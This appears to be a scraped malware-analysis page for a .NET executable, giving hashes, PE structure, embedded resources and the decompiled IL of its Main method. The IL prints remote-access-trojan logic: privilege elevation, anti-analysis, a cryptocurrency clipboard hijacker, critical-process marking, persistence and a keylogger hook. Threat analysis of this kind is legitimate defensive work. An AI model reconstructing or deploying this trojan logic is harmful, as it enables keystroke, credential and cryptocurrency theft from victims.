Suspicious
Suspect

0268fde13e99c555ed4a4c6ef193b9ea

PE Executable
MD5: 0268fde13e99c555ed4a4c6ef193b9ea
Size: 3.43 MB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Low
MD5 0268fde13e99c555ed4a4c6ef193b9ea
Sha1 ff5db489782f10217946f75450803f6c835108c5
Sha256 155d1dce8e17b107b531b80b648f1a3fcbcbed764d76a39b0b3972d9424dd2f7
Sha384 fb0bca7cd153da60e3ab8027952cbbf27014488573315eeb687b8a0cdd279d5c0237163ac02afecc56cbb1a1e142d015
Sha512 d6cefe8aa77a13d64eccbc121368d3f0cc36a954b91cb79d463c1634bef5b3d71ccf9d0e3675d51a3972797bcaf1047b92ee43fc04bf757e452edb2501cc6baa
SSDeep 49152:4HSarve2wIDiFilNkzVMWzU0hdBdo+6WuDayPAr/NJJ8:4i29Dxb8h
TLSH 62F54B41ABE8CE1BE1BF2775A4F200125BB1E449E732DB4B1694E6792C637406D0A37F
PeID
Microsoft Visual C++ v6.0 DLL
0268fde13e99c555ed4a4c6ef193b9ea
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_ICON
ID:0001
ID:0
ID:0002
ID:0
ID:0003
ID:0
ID:0004
ID:0
ID:0005
ID:0
ID:0006
ID:0
ID:0007
ID:0
ID:0-preview.png
RT_GROUP_CURSOR4
ID:0001
ID:0
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
Client.Properties.Resources.resources
hvnc
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
AForge.Video.DirectShow.Properties.Resources.resources
camera
[NBF]root.Data
[NBF]root.Data-preview.png
AForge.Video.DirectShow.VideoCaptureDeviceForm.resources
Microsoft.Win32.TaskScheduler.Properties.Resources.resources
Microsoft.Win32.TaskScheduler.TaskService.bmp
NAudio.Gui.PanSlider.resources
$this.DefaultModifiers
$this.GridSize
$this.Language
NAudio.Gui.VolumeSlider.resources
Newtonsoft.Json.Dynamic.snk
System.Data.SQLite.SR.resources
System.Data.SQLite.Resources.SQLiteCommand.bmp
System.Data.SQLite.Resources.SQLiteConnection.bmp
System.Data.SQLite.Resources.SQLiteDataAdapter.bmp
System.Net.Http.SR.resources
System.Net.Http.SysSR.resources
STICH beta

No STICH Path has been generated for this analysis yet.

5 structural branches were classified as secondary (decorative or non-determinant content) and did not produce a fingerprint.

bin 3img 2
Name Value
Info
PE Detect: PeReader OK (file layout)
Module Name
ven9392.exe
Full Name
ven9392.exe
EntryPoint
System.Void Client.Program::Main(System.String[])
Scope Name
ven9392.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
ven9392
Assembly Version
6.0.9.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.0
Total Strings
12508
Main Method
System.Void Client.Program::Main(System.String[])
Main IL Instruction Count
134
Main IL 
ldarg.0 <null>
ldlen <null>
brtrue IL_0011: ldarg.0
ldstr 
br IL_0018: stloc.0
ldarg.0 <null>
ldc.i4.0 <null>
ldelem System.String
stloc.0 <null>
call System.Boolean Client.Helper.Methods::IsAdmin()
brtrue IL_003D: call System.Boolean Client.Helper.MutexControl::CreateMutex()
ldloc.0 <null>
ldstr --flag
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse IL_003D: call System.Boolean Client.Helper.MutexControl::CreateMutex()
call System.Void Client.Program::ForceGetAdminAccess()
br IL_004D: ldc.i4.s 26
call System.Boolean Client.Helper.MutexControl::CreateMutex()
brtrue IL_004D: ldc.i4.s 26
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ldc.i4.s 26
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
ldstr 7n5rJCiEX08cdKRQsT6vxkbuaZ
call System.String System.IO.Path::Combine(System.String,System.String)
call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String)
pop <null>
ldc.i4.1 <null>
call System.Void System.Net.ServicePointManager::set_Expect100Continue(System.Boolean)
ldc.i4 3072
call System.Void System.Net.ServicePointManager::set_SecurityProtocol(System.Net.SecurityProtocolType)
ldc.i4 9999
call System.Void System.Net.ServicePointManager::set_DefaultConnectionLimit(System.Int32)
ldc.i4.0 <null>
stloc.1 <null>
br IL_0093: ldloc.1
ldc.i4 1000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldloc.1 <null>
ldc.i4.1 <null>
add <null>
stloc.1 <null>
ldloc.1 <null>
ldsfld System.String Client.Settings::De_lay
call System.Int32 System.Convert::ToInt32(System.String)
blt.s IL_0085: ldc.i4 1000
call System.Boolean Client.Settings::InitializeSettings()
brtrue IL_00B0: call System.Void Client.Helper.SetRegistry::InitRegistry()
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Client.Helper.SetRegistry::InitRegistry()
ldsfld System.String Client.Settings::An_ti
call System.Boolean System.Convert::ToBoolean(System.String)
brfalse IL_00C9: leave IL_00D4
call System.Void Client.Helper.Anti_Analysis::RunAntiAnalysis()
leave IL_00D4: call System.Void Client.Helper.A::B()
pop <null>
leave IL_00D4: call System.Void Client.Helper.A::B()
call System.Void Client.Helper.A::B()
ldsfld System.String Client.Settings::Anti_Process
call System.Boolean System.Convert::ToBoolean(System.String)
brfalse IL_00ED: leave IL_00F8
call System.Void Client.Helper.AntiProcess::StartBlock()
leave IL_00F8: nop
pop <null>
leave IL_00F8: nop
nop <null>
ldsfld System.String Client.Settings::Enable_Clipper
call System.Boolean System.Convert::ToBoolean(System.String)
brfalse IL_0169: leave IL_0174
ldsfld System.Collections.Generic.Dictionary`2<System.String,System.String> Finder.Config::ClipperAddresses
ldstr btc
ldsfld System.String Client.Settings::Clipper_BTC
callvirt System.Void System.Collections.Generic.Dictionary`2<System.String,System.String>::set_Item(System.String,System.String)
ldsfld System.Collections.Generic.Dictionary`2<System.String,System.String> Finder.Config::ClipperAddresses
ldstr eth
ldsfld System.String Client.Settings::Clipper_ETH
callvirt System.Void System.Collections.Generic.Dictionary`2<System.String,System.String>::set_Item(System.String,System.String)
ldsfld System.Collections.Generic.Dictionary`2<System.String,System.String> Finder.Config::ClipperAddresses
ldstr ltc
ldsfld System.String Client.Settings::Clipper_LTC
callvirt System.Void System.Collections.Generic.Dictionary`2<System.String,System.String>::set_Item(System.String,System.String)
ldsfld System.Collections.Generic.Dictionary`2<System.String,System.String> Finder.Config::ClipperAddresses
ldstr bch
ldsfld System.String Client.Settings::Clipper_BCH
callvirt System.Void System.Collections.Generic.Dictionary`2<System.String,System.String>::set_Item(System.String,System.String)
ldsfld System.Threading.Thread Finder.Helpers.ClipboardManager::MainThread
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Threading.Thread::SetApartmentState(System.Threading.ApartmentState)
callvirt System.Void System.Threading.Thread::Start()
leave IL_0174: nop
pop <null>
leave IL_0174: nop
nop <null>
ldsfld System.String Client.Settings::BS_OD
call System.Boolean System.Convert::ToBoolean(System.String)
brfalse IL_0193: leave IL_019E
call System.Boolean Client.Helper.Methods::IsAdmin()
brfalse IL_0193: leave IL_019E
call System.Void Client.Helper.ProcessCritical::Set()
leave IL_019E: nop
pop <null>
leave IL_019E: nop
nop <null>
ldsfld System.String Client.Settings::In_stall
call System.Boolean System.Convert::ToBoolean(System.String)
brfalse IL_01B3: leave IL_01BE
call System.Void Client.Install.NormalStartup::Install()
leave IL_01BE: call System.Void Client.Helper.Methods::PreventSleep()
pop <null>
leave IL_01BE: call System.Void Client.Helper.Methods::PreventSleep()
call System.Void Client.Helper.Methods::PreventSleep()
call System.Boolean Client.Helper.Methods::IsAdmin()
brfalse IL_01D2: leave IL_01DD
call System.Void Client.Helper.Methods::ClearSetting()
leave IL_01DD: ldsfld System.Threading.ThreadStart Client.Program/<>c::<>9__2_0
pop <null>
leave IL_01DD: ldsfld System.Threading.ThreadStart Client.Program/<>c::<>9__2_0
ldsfld System.Threading.ThreadStart Client.Program/<>c::<>9__2_0
dup <null>
brtrue IL_01FF: newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
pop <null>
ldsfld Client.Program/<>c Client.Program/<>c::<>9
ldftn System.Void Client.Program/<>c::<Main>b__2_0()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Threading.ThreadStart Client.Program/<>c::<>9__2_0
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
call System.Void System.Threading.Thread::Start()
call System.IntPtr Client.Features.KeyLog.Keylogger::SetHook()
pop <null>
call System.Void System.Windows.Forms.Application::Run()
ret <null>
0268fde13e99c555ed4a4c6ef193b9ea
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_ICON
ID:0001
ID:0
ID:0002
ID:0
ID:0003
ID:0
ID:0004
ID:0
ID:0005
ID:0
ID:0006
ID:0
ID:0007
ID:0
ID:0-preview.png
RT_GROUP_CURSOR4
ID:0001
ID:0
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
Client.Properties.Resources.resources
hvnc
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
AForge.Video.DirectShow.Properties.Resources.resources
camera
[NBF]root.Data
[NBF]root.Data-preview.png
AForge.Video.DirectShow.VideoCaptureDeviceForm.resources
Microsoft.Win32.TaskScheduler.Properties.Resources.resources
Microsoft.Win32.TaskScheduler.TaskService.bmp
NAudio.Gui.PanSlider.resources
$this.DefaultModifiers
$this.GridSize
$this.Language
NAudio.Gui.VolumeSlider.resources
Newtonsoft.Json.Dynamic.snk
System.Data.SQLite.SR.resources
System.Data.SQLite.Resources.SQLiteCommand.bmp
System.Data.SQLite.Resources.SQLiteConnection.bmp
System.Data.SQLite.Resources.SQLiteDataAdapter.bmp
System.Net.Http.SR.resources
System.Net.Http.SysSR.resources
No malware configuration was found at this point.
You must be signed in to view YARA rules.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙